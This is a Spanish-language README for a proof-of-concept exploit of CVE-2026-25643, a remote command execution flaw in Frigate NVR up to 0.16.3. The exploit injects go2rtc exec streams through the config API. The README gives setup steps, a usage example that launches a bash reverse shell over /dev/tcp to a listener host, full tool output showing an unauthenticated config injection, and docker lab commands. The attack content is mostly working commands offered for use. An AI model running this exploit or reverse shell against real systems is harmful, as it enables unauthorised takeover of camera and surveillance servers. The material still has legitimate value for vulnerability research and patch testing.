
CVE-2026-25643: RCE ciega en Frigate ≤0.16.3 mediante inyección de exec en go2rtc
Este exploit en Python aprovecha una vulnerabilidad crítica de manipulación de configuración en las versiones de Frigate NVR hasta la 0.16.3 (tanto en rutas autenticadas como no autenticadas). Al inyectar una transmisión go2rtc maliciosa y una entrada de cámara falsa, desencadena la ejecución arbitraria de comandos como el proceso de Frigate durante el reinicio del servicio — sin necesidad de shell inversa ni captura de salida.
[!NOTE] Para garantizar un entorno limpio y aislado para las dependencias del proyecto, se recomienda utilizar el módulo
venvde Python.
git clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
cd CVE-2026-25643
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
cd CVE-2026-25643
python -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-25643.py -c "bash -i >& /dev/tcp/host.docker.internal/1111 0>&1" --url http://localhost:5001/
Target : http://localhost:5001
Command: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[!] No credentials provided → attempting unauthenticated access
[*] Fetching current configuration (/api/config/raw) ...
[*] Config fetch → HTTP 200
[*] Received 914 bytes
[*] Config was JSON-wrapped → unwrapped
[+] Config parsed successfully (7 top-level keys)
[*] Preparing payload → executing: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[*] Using payload: bash -c 'bash -i >& /dev/tcp/host.docker.internal/1111 0>&1'
[+] Injected malicious stream → debug_cmd
[+] Injected trigger camera → trigger_exec
[*] Sending modified config (861 bytes) with option: restart
[*] Config save → HTTP 200
[+] Configuration accepted (server should restart)
============================================================
Payload sent! Command should execute during go2rtc init / camera probe.
Keep in mind:
• Output is NOT captured (blind execution)
• Command runs as the user/frigate process
• Multiple executions may occur during restart
============================================================
cd docker/
docker compose down
docker compose up -d
# You can test at --url http://127.0.0.1:5001

Esta herramienta se proporciona únicamente con fines educativos y de investigación. El creador no asume ninguna responsabilidad por el mal uso o los daños causados por la herramienta.